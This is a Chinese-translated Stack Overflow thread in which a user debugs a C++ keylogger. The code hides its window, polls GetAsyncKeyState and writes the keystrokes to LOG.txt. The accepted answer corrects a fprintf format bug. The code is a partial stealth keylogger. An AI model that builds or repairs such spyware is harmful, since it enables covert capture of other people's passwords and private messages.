c++键盘记录器无法正常工作

标签 c++ windows winapi file-io keylogger

我访问 stackoverflow 已经有一段时间了,这是我在这个网站上的第一个问题 :) 我正在尝试编写一个键盘记录器,它将把按下的键保存在一个 .txt 文件中,但问题是这样的。我用 cout 检查 cmd.exe 上的输出,发现它工作正常,但是当我打开 LOG.txt 文件时,我看到程序将 abcdefgh 打印为 012345678。只有这些非大写字母不起作用。文件中的每个其他键都正确打印。 这是我的主要功能:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
system("pause");
return 0;
}

保存功能:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}

最佳答案

到目前为止,我发现有一件事是错误的,还有几件事我会采取不同的做法。首先,我认为我不会让它在每次写入单个字符时都打开和关闭文件。

第二个(打错了打错了),是你叫fprintf指定字符串 %s并给它一个整数指针 &key .一个简单的修复应该是 fprintf(OUTPUT_FILE, "%c", (char)key) , 尽管存在更优雅的解决方案来放置单个字符,即 putc .

关于c++键盘记录器无法正常工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29570945/

相关文章:

c++ - 特征与虚拟开销

windows - Windows 7 上的 StartServiceCtrlDispatcher 访问被拒绝

c - 当 pthread 在等待互斥体时死亡会发生什么?

c++ - 使用c++程序挂起系统

c++ - 不允许使用非托管类的句柄

c++ - 添加 vector c++。无法理解编译错误

c++ - 项目依赖顺序 - VS2013

windows - 为什么 binutils-gdb 无法从 MSYS2 构建?

delphi - 如何确保 MAPI 客户端在启动时获得焦点?

c# - 列出 Windows 机器上安装的所有网络浏览器